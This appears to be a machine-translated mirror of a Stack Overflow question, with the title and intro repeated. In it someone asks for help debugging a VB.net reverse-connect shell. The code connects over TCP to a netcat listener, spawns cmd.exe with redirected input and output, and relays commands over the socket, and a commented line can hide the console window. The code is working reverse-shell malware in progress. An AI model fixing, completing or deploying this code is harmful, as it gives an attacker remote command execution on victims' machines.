C# Vb.net反向连接外壳程序-异步读写失败
我试图编写一些VB.net程序,通过tcp连接将cmd外壳与netcat侦听服务器进行通信。它基于反向连接外壳,因此当我询问应用程序时,它应该连接到服务器并提供cmd提示。它是基于这个项目,但我特别需要在vb上运行它 以下是迄今为止我成功生成的代码:C# Vb.net反向连接外壳程序-异步读写失败,c#,vb.net,shell,asynchronous,stream,C#,Vb.net,Shell,Asynchronous,Stream,我试图编写一些VB.net程序,通过tcp连接将cmd外壳与netcat侦听服务器进行通信。它基于反向连接外壳,因此当我询问应用程序时,它应该连接到服务器并提供cmd提示。它是基于这个项目,但我特别需要在vb上运行它 以下是迄今为止我成功生成的代码: Dim TcpClient As TcpClient Dim NetworkStream As NetworkStream Dim streamWriter As StreamWriter Dim streamReader
Dim TcpClient As TcpClient
Dim NetworkStream As NetworkStream
Dim streamWriter As StreamWriter
Dim streamReader As StreamReader
Dim processCmd As New Process()
Dim procesoInfo As New ProcessStartInfo()
TcpClient = New TcpClient()
Dim strInput As New StringBuilder()
If (TcpClient.Connected = False) Then
Try
TcpClient.Connect("localhost", 6666)
NetworkStream = TcpClient.GetStream()
streamReader = New StreamReader(NetworkStream)
streamWriter = New StreamWriter(NetworkStream)
Catch ex As Exception
MsgBox("Connection unavailable")
Return "nope"
End Try
procesoInfo.FileName = "CMD"
'procesoInfo.CreateNoWindow = True
procesoInfo.UseShellExecute = False
procesoInfo.RedirectStandardOutput = True
procesoInfo.RedirectStandardInput = True
procesoInfo.RedirectStandardError = True
AddHandler processCmd.OutputDataReceived, AddressOf processCmdHandler
processCmd.StartInfo = procesoInfo
processCmd.Start()
processCmd.BeginOutputReadLine()
End If
While (True)
Try
strInput.Append(streamReader.ReadLine())
strInput.Append("\n")
If (strInput.ToString().LastIndexOf("exit") >= 0) Then
processCmd.Kill()
streamReader.Close()
streamWriter.Close()
NetworkStream.Close()
System.Environment.Exit(System.Environment.ExitCode)
End If
processCmd.StandardInput.WriteLine(strInput)
strInput.Remove(0, strInput.Length)
Catch Ex As Exception
streamReader.Close()
streamWriter.Close()
End Try
End While
以下是用于管理异步standardOutput读取操作的事件处理程序:
Private Shared Sub processCmdHandler(sendingProcess As Object, outline As DataReceivedEventArgs)
Dim strOutput As New StringBuilder()
If Not String.IsNullOrEmpty(outline.Data) Then
Try
strOutput.Append(outline.Data)
streamWriter.WriteLine(strOutput)
streamWriter.Flush()
Catch ex As Exception
End Try
End If
End Sub
到目前为止,连接工作得很好,进程已经创建,但是,它似乎并没有设法重定向shell的输出或输入。请注意,网络流工作正常,因为如果我键入exit,它将成功关闭连接。我对我在这里做错的事情有点不知所措。欢迎提供任何帮助
提前谢谢